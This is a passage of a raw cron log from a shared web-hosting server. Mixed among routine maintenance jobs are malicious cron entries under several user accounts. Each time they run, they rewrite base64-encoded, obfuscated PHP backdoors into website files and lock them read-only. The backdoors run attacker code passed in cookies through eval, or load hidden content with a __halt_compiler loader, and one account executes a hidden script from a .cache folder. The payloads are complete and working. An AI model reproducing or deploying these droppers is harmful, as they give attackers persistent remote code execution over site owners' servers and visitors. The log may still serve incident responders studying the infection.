Obl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:34:01 medusa CROND[30933]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 09:35:01 medusa CROND[14737]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 09:35:01 medusa CROND[14755]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 09:35:01 medusa CROND[14798]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 09:35:01 medusa CROND[14807]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 09:35:01 medusa CROND[15034]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 09:35:01 medusa CROND[15037]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 09:35:01 medusa CROND[15035]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 09:35:01 medusa CROND[15039]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  2 09:35:01 medusa CROND[15043]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 09:35:01 medusa CROND[15044]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 09:35:01 medusa CROND[15047]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 09:35:01 medusa CROND[15045]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 09:35:01 medusa CROND[15049]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 09:35:01 medusa CROND[15038]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 09:35:01 medusa CROND[15050]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:35:01 medusa CROND[15053]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:35:01 medusa CROND[15058]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 09:35:01 medusa CROND[15036]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Mar  2 09:35:01 medusa CROND[15060]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Mar  2 09:35:01 medusa CROND[15061]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:35:01 medusa CROND[15062]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 09:35:01 medusa CROND[15063]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 09:35:01 medusa CROND[15042]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 09:35:01 medusa CROND[15069]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:35:01 medusa CROND[15048]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 09:36:02 medusa CROND[1393]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 09:36:02 medusa CROND[1451]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 09:36:02 medusa CROND[1527]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 09:36:02 medusa CROND[1528]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 09:36:02 medusa CROND[1529]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:36:02 medusa CROND[1530]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 09:36:02 medusa CROND[1535]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 09:36:02 medusa CROND[1533]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 09:36:02 medusa CROND[1537]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 09:36:02 medusa CROND[1538]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 09:36:02 medusa CROND[1540]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 09:36:02 medusa CROND[1555]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:36:02 medusa CROND[1556]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:36:02 medusa CROND[1557]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:37:01 medusa CROND[20152]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 09:37:01 medusa CROND[20283]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 09:37:02 medusa CROND[20337]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 09:37:02 medusa CROND[20338]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 09:37:02 medusa CROND[20339]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
